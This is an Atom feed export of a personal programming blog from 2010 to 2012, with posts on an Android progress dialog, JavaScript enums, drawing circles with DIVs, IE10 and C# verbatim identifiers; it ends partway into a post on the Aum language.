<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3763970501036742929</id><updated>2012-02-16T03:44:07.507-05:00</updated><category term='map'/><category term='Aum language'/><category term='mapping'/><category term='enumerated types'/><category term='Aum code'/><category term='js'/><category term='Javascript'/><category term='radians'/><category term='enums'/><category term='angular directions'/><title type='text'>ITAdapter Technology Chambers</title><subtitle type='html'>Lets talk about IT</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.itadapter.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-8567902057920283727</id><published>2012-01-21T22:02:00.003-05:00</published><updated>2012-01-21T22:09:03.554-05:00</updated><title type='text'></title><content type='html'>How to display a progress message aka "hourglass" in Android around long running tasks, really moving that long running tasks to a different thread but obstructing your activity with a curtain from progress so messages are processed and everything shows. Here is a snippet:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt; ProgressDialog dialog = ProgressDialog.show(this, "Title",&lt;br /&gt;  "Your message", true);&lt;br /&gt;  final Handler handler = new Handler() {&lt;br /&gt;     public void handleMessage(Message msg) {&lt;br /&gt;           dialog.dismiss();&lt;br /&gt;          &lt;br /&gt;        }&lt;br /&gt;     };&lt;br /&gt;  &lt;br /&gt;  Thread export = new Thread() {  &lt;br /&gt;     public void run() {&lt;br /&gt;   &lt;br /&gt;     // LONG TASK CALL&lt;br /&gt;                          //  callLongTask();&lt;br /&gt;       &lt;br /&gt;      handler.sendEmptyMessage(0);&lt;br /&gt;        }&lt;br /&gt;     };&lt;br /&gt;  export.start();&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-8567902057920283727?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/8567902057920283727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=8567902057920283727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8567902057920283727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8567902057920283727'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2012/01/how-to-display-progress-message-aka.html' title=''/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-2997344522916721339</id><published>2011-12-07T22:51:00.001-05:00</published><updated>2011-12-07T22:51:46.839-05:00</updated><title type='text'>$25 Computer</title><content type='html'>&lt;a href="http://www.raspberrypi.org/" target="_blank" style="color: rgb(17, 85, 204); font-family: arial, sans-serif; font-size: 13px; background-color: rgba(255, 255, 255, 0.917969); "&gt;http://www.raspberrypi.org/&lt;/a&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-2997344522916721339?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/2997344522916721339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=2997344522916721339' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2997344522916721339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2997344522916721339'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2011/12/25-computer.html' title='$25 Computer'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-2699233468128851108</id><published>2011-09-24T20:23:00.006-05:00</published><updated>2011-09-24T20:36:17.479-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='js'/><category scheme='http://www.blogger.com/atom/ns#' term='map'/><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='radians'/><category scheme='http://www.blogger.com/atom/ns#' term='angular directions'/><category scheme='http://www.blogger.com/atom/ns#' term='enums'/><category scheme='http://www.blogger.com/atom/ns#' term='mapping'/><category scheme='http://www.blogger.com/atom/ns#' term='enumerated types'/><title type='text'>Enumerated Types in Java Script</title><content type='html'>Who said that JavaScript lacks enumerated types? Really it does, however due to very flexible nature of the language enums are easily done like so (example taken from &lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;ITAdapter Geometry Library&lt;/span&gt;):&lt;br /&gt;&lt;pre id="line1"&gt;function GeometryNamespace() &lt;span style="color: rgb(0, 204, 204);"&gt;//in the Geometry namespace&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;var geometry = this; &lt;span style="color: rgb(0, 204, 204);"&gt;&lt;br /&gt;... &lt;/span&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;   ...    ... &lt;/span&gt;&lt;br /&gt;this.MapDirection = {&lt;br /&gt;   North:      {Name: "North"},&lt;br /&gt;   NorthEast:  {Name: "NorthEast"},&lt;br /&gt;   East:       {Name: "East"},&lt;br /&gt;   SouthEast:  {Name: "SouthEast"},&lt;br /&gt;   South:      {Name: "South"},&lt;br /&gt;   SouthWest:  {Name: "SouthWest"},&lt;br /&gt;   West:       {Name: "West"},&lt;br /&gt;   NorthWest:  {Name: "NorthWest"} &lt;br /&gt;                 };&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;.............&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;And then later:&lt;/span&gt;&lt;br /&gt;/**      * Converts map direction to angular coordinate in radians      */ &lt;br /&gt;&lt;br /&gt;this.mapDirectionToAngle = function(direction)&lt;br /&gt;{    &lt;br /&gt;    switch (direction)&lt;br /&gt;    {      &lt;br /&gt;        case geometry.MapDirection.North:  return 4/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.South:  return 12/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.East:   return 0.0;&lt;br /&gt;        case geometry.MapDirection.West:   return 8/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.NorthEast: return 2/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.NorthWest: return 6/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.SouthEast: return 14/16 * PI2;&lt;br /&gt;        case geometry.MapDirection.SouthWest: return 10/16 * PI2;&lt;br /&gt;        default: return 0.0;     &lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Coming back to js enums topic, one can easily display enum as:&lt;br /&gt;var dir =  &lt;span style="font-weight: bold;"&gt;MapDirection.South&lt;/span&gt;;&lt;br /&gt;var name = dir.Name; &lt;span style="color: rgb(0, 204, 204);"&gt;//"South"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-2699233468128851108?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/2699233468128851108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=2699233468128851108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2699233468128851108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/2699233468128851108'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2011/09/enumerated-types-in-java-script.html' title='Enumerated Types in Java Script'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-8032899236436203386</id><published>2011-04-13T17:19:00.001-05:00</published><updated>2011-04-13T17:19:14.936-05:00</updated><title type='text'>IE10? WTF?</title><content type='html'>Only like 1 month has passed and MS is publishing new IE10 beta assembly? &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Check this out:&lt;/div&gt;&lt;div&gt; &lt;a href="http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx"&gt;http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;So, once again they talk &lt;font class="Apple-style-span" size="4"&gt;HTML5&lt;/font&gt;...hm where is Silverlight guys? Well, that&amp;#39;s right looks like Silverlight is finally going to fall from the stage.&lt;/div&gt; &lt;div&gt;Why would anyone even invest in SL at this point? Mobile? Gimme a break, HTML5 rulez there too - check out PhoneGap &lt;a href="http://www.phonegap.com"&gt;www.phonegap.com&lt;/a&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-8032899236436203386?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/8032899236436203386/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=8032899236436203386' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8032899236436203386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8032899236436203386'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2011/04/ie10-wtf.html' title='IE10? WTF?'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-6552435079819773408</id><published>2011-01-08T15:29:00.000-05:00</published><updated>2011-01-08T15:30:12.977-05:00</updated><title type='text'>How To Draw a Circle in HTML &lt;5 (without Canvas/SVG)</title><content type='html'>The following tiny script allows to draw circles in &amp;quot;regular&amp;quot; pre-HTML 5 document, it is so fast that it really allows for animations in real time. &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Example:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;  &lt;b&gt; drawCircle(500, 500, 150, &amp;quot;red&amp;quot;, 50, 1);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;This will draw a  red circle, 50% transparent, with 150 px radius at the point (500,500). The circle will be drawn using 1px-fine pen (granularity).&lt;/div&gt; &lt;div&gt;The wider is the &amp;quot;pen&amp;quot; the faster is the routine. I usually increase granularity to 4px while dragging/sizing for speed and then re-render with 1px granularity upon drag grip release.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; &lt;br&gt;&lt;/div&gt;&lt;div&gt;Here is the self-sufficient(does not rely on any libs) procedural source code:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;//classic one&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;function isIE()&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; return (navigator.appName.indexOf(&amp;quot;Microsoft&amp;quot;)!=-1);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;}&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;function drawCircle(cx, cy, r, clr, op, gran)&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; var x = 0;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; var div; &lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; var dc = document.createElement(&amp;quot;DIV&amp;quot;);//aka &amp;quot;Device Context&amp;quot; wich is a DIV in doc tree&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; dc.style.position=&amp;quot;absolute&amp;quot;;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; dc.innerHTML = &amp;quot;&amp;amp;nbsp;&amp;quot;;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; dc.style.left = cx - r; &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; dc.style.top =  cy - r; &lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; cx = r; cy = r;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; &lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; if (gran&amp;lt;1) gran = 1;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; if ((r/gran)&amp;gt; 280) gran = Math.round(r / 280);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; for(var y=0; y&amp;lt;=r; y+=gran)&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; {&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  x = Math.sqrt((r*r) - (y*y));&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div = document.createElement(&amp;quot;DIV&amp;quot;);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;    &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.position=&amp;quot;absolute&amp;quot;;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.background = clr;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.left = cx - x;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.top = cy+y;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.width= x*2;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.height=gran;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.fontSize=1;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.innerHTML = &amp;quot;&amp;amp;nbsp;&amp;quot;;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  setObjectOpacity(div, op);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  dc.appendChild(div);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div = document.createElement(&amp;quot;DIV&amp;quot;);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.position=&amp;quot;absolute&amp;quot;;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.background = clr;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.left = cx - x;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.top = cy-y-gran;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.width= x*2;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.height=gran;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.style.fontSize=1;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  div.innerHTML = &amp;quot;&amp;amp;nbsp;&amp;quot;;&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  setObjectOpacity(div, op);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  dc.appendChild(div);&lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;  &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; }&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; &lt;/font&gt;&lt;/div&gt; &lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt; return dc;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;}//drawCircle&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&lt;br&gt; &lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="&amp;#39;courier new&amp;#39;, monospace"&gt;&lt;div&gt;//semi-transparent through CSS/filter&lt;/div&gt;&lt;div&gt;function setObjectOpacity(obj, opacity) &lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;  //IE&lt;/div&gt;&lt;div&gt;   if (isIE())&lt;/div&gt;&lt;div&gt;   obj.style.filter = &amp;quot;alpha(opacity:&amp;quot;+opacity+&amp;quot;)&amp;quot;;&lt;/div&gt;&lt;div&gt;  else&lt;/div&gt;&lt;div&gt;  {&lt;/div&gt;&lt;div&gt;    opacity = (opacity == 100)?99.999:opacity;//99.9 for Firefox flicker bug&lt;/div&gt;&lt;div&gt;   &lt;/div&gt;&lt;div&gt;    // Konqueror, Safari&lt;/div&gt;&lt;div&gt;    obj.style.KHTMLOpacity = opacity / 100;&lt;/div&gt;&lt;div&gt;    // Old Mozilla and Firefox&lt;/div&gt;&lt;div&gt;    obj.style.MozOpacity = opacity / 100;&lt;/div&gt;&lt;div&gt;    // CSS3,  Safari , new Firefox (Gecko)&lt;/div&gt; &lt;div&gt;    obj.style.opacity = opacity / 100;&lt;/div&gt;&lt;div&gt;  }//else&lt;/div&gt;&lt;div&gt;}//setObjectOpacity&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;As you can see, this approach uses DIVs as a vehicle for graphics delivery. Also, one may ask why I did not use squares to reduce&lt;/div&gt; &lt;div&gt; the number of DIVs - the answer is - flicker - squares would have overlapped and would have worked slower than interlaced DIVs.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Use as you please!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-6552435079819773408?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/6552435079819773408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=6552435079819773408' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6552435079819773408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6552435079819773408'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2011/01/how-to-draw-circle-in-html-without.html' title='How To Draw a Circle in HTML &amp;lt;5 (without Canvas/SVG)'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-1529215462259632806</id><published>2010-06-24T19:47:00.001-05:00</published><updated>2010-06-24T19:47:22.774-05:00</updated><title type='text'>Verbatim Identifiers in C#</title><content type='html'>Not that many people realize that in C#, one can use language keyword names like &amp;quot;void&amp;quot; and &amp;quot;bool&amp;quot; for their identifiers.&lt;div&gt;The trick is, you need to prefix the name i.e.:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; void @void() {}&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;declares method named &amp;quot;void&amp;quot;.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Of course you would rarely use this feature, if ever but many people start arguing &amp;quot;Why Microsoft did this to begin with?&amp;quot;&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;I am personally 100% on-board with MS on this one, - not only this is a good practice to be consistent in language design (less limitations) by allowing programmer to use any name&lt;/div&gt;&lt;div&gt; but this is a must-have feature i.e. you may code an assembly in Delphi Prism( as an example) and call a method &amp;quot;void&amp;quot; -&lt;/div&gt; &lt;div&gt; then you&amp;#39;d need to consume it in C#. &amp;quot;void&amp;quot; is not a keyword in that language.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;I personally think that purposely naming you stuff with &amp;quot;dangerous&amp;quot; names is a bad thing, but having verbatim name capability makes us feel more liberated :)&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-1529215462259632806?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/1529215462259632806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=1529215462259632806' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/1529215462259632806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/1529215462259632806'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/06/verbatim-identifiers-in-c.html' title='Verbatim Identifiers in C#'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-7714946489276947426</id><published>2010-04-29T19:33:00.003-05:00</published><updated>2010-04-29T19:40:22.349-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aum code'/><category scheme='http://www.blogger.com/atom/ns#' term='Aum language'/><title type='text'>Aum Syntax Samples: constrained domains</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;span style="font-family: arial;"&gt;Working on contrained types(domains) 